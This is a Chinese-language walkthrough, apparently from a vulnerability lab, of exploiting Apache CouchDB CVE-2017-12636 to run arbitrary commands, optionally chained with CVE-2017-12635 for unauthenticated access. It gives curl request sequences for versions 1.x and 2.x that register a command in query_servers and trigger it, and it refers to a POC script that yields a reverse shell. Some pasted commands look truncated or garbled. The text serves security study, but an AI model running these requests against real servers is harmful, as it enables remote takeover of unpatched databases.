Apache Couchdb 任意命令执行 (CVE-2017-12636)
Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库,用 Erlang 实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用 JSON 来存储数据,使用 MapReduce 作为其查询语言的 JavaScript,以及作为 API 的 HTTP。
CouchDB 管理用户可以通过 HTTP(S) 配置数据库服务器。一些配置选项包括随后由 CouchDB 启动的操作系统级二进制文件的路径。这允许 1.7.0 之前的 Apache CouchDB 和 2.1.1 之前的 2.x 中的管理员用户作为 CouchDB 用户执行任意 shell 命令,包括从公共互联网下载和执行脚本。
结合CVE-2017-12635和 CVE-2017-12636 以获得未经身份验证的远程命令执行。
利用
CVE-2017-12636是认证后RCE,所以如果不知道目标管理员密码,可以先使用CVE-2017-12635
添加管理员用户。Couchdb 2.x 和 1.x 的 API 接口有所不同,因此该漏洞的利用方式不同。
在 1.x 下利用
依次执行以下请求,触发任意命令执行。
1 | curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' |
在这里,vulhub:vulhub
是管理员帐户和密码。
第一个请求是添加一个带有 name和 value的query_servers,这是我们稍后要执行的命令。cmd``"id >/tmp/success"
第二个和第三个请求是添加数据库和文档,这里添加后才能查询。
第四个请求是在这个Database做一个查询,使用我在第一步添加的一个名为query_servers的cmd
,最后触发命令执行。
可以看到success文件生成,证明利用成功
在 2.x 下利用
Couchdb 2.x 引入了集群,浏览器/_membership
获取节点列表。
1 | curl http://vulhub:vulhub@192.168.44.132:5984/_membership |
只有一个节点,名称为nonode@nohost
,然后修改node的配置nonode@nohost
如下。
1 | curl -X PUT http://vulhub:vulhub@192.168.44.132:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"' |
然后,以与 1.6.0 漏洞相同的方式:
1 | curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest' |
Couchdb 2.x 已移除_temp_view
,因此我们需要添加一个_view
以触发 中定义的命令query_servers
:
1 | curl -X PUT http://vulhub:vulhub@192.168.44.132:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json" |
然后query_servers
将执行输入的命令。
POC 脚本
一个简单的POC exp.py,将脚本里面的target和command修改为你的test target,然后将版本修改为对应的Couchdb版本(1或2),成功得到反向shell。